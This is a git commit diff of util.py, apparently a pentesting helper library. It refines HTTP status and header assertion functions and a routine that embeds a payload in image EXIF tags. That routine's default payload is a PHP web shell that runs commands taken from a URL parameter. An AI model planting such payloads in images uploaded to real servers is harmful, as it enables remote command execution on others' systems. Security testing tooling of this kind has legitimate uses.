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fix

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This commit is contained in:
Roman Hergenreder 2023-09-11 14:33:41 +02:00
parent 7e87a9f3e9
commit 9e6432d976
1 changed files with 19 additions and 15 deletions
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34
util.py
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@ -5,7 +5,6 @@ import socket
import netifaces as ni
import string
import sys
import exif
import os
import io
from PIL import Image
@ -46,22 +45,26 @@ def exit_with_error(res, err):
def assert_status_code(res, status_code, err=None):
if res.status_code != status_code:
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
err = f"[-] '{res.url}' returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
exit_with_error(res, err)
exit()
def assert_header_present(res, header, err=None):
if header in res.headers:
return
err = f"[-] '{res.url}' did not return header: {header}" if err is None else err
exit_with_error(res, err)
def assert_content_type(res, content_type, err=None):
if "Content-Type" in res.headers:
return
assert_header_present(res, "Content-Type")
content_type_header = res.headers["Content-Type"].lower()
if content_type_header == content_type.lower():
return
if content_type_header.lower().startswith(content_type.lower() + ";"):
return
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
err = f"[-] '{res.url}' returned unexpected content type {content_type_header}, expected: {content_type}" if err is None else err
exit_with_error(res, err)
exit()
def openServer(address, ports=None):
listenPort = None
@ -147,6 +150,7 @@ def pad(x, n):
return x
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
import exif
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
_in = Image.new("RGB", (50,50), (255,255,255))
@ -159,7 +163,7 @@ def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, ex
_in = exif.Image(bytes.getvalue())
elif not isinstance(_in, exif.Image):
print("Invalid input. Either give an Image or a path to an image.")
return
exit()
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
if exif_tag is None:
@ -167,17 +171,19 @@ def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, ex
elif exif_tag == "all":
for exif_tag in valid_tags:
try:
_in[exif_tag] = payload
print("adding:", exif_tag)
print("Setting exif tag:", exif_tag)
_in.set(exif_tag, payload)
except Exception as e:
print("Error setting exif tag:", exif_tag, str(e))
pass
else:
if exif_tag not in valid_tags:
print("Invalid exif-tag. Choose one of the following:")
print(", ".join(valid_tags))
return
exit()
res = _in.set(exif_tag, payload)
_in[exif_tag] = payload
if _out is None:
return _in.get_file()
@ -280,9 +286,7 @@ if __name__ == "__main__":
else:
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
output = set_exif_data(payload, _in, _out, tag)
sys.stdout.buffer.write(output)
sys.stdout.flush()
set_exif_data(payload, _in, _out, tag)
else:
print("Usage: %s [command]" % bin)
print("Available commands:")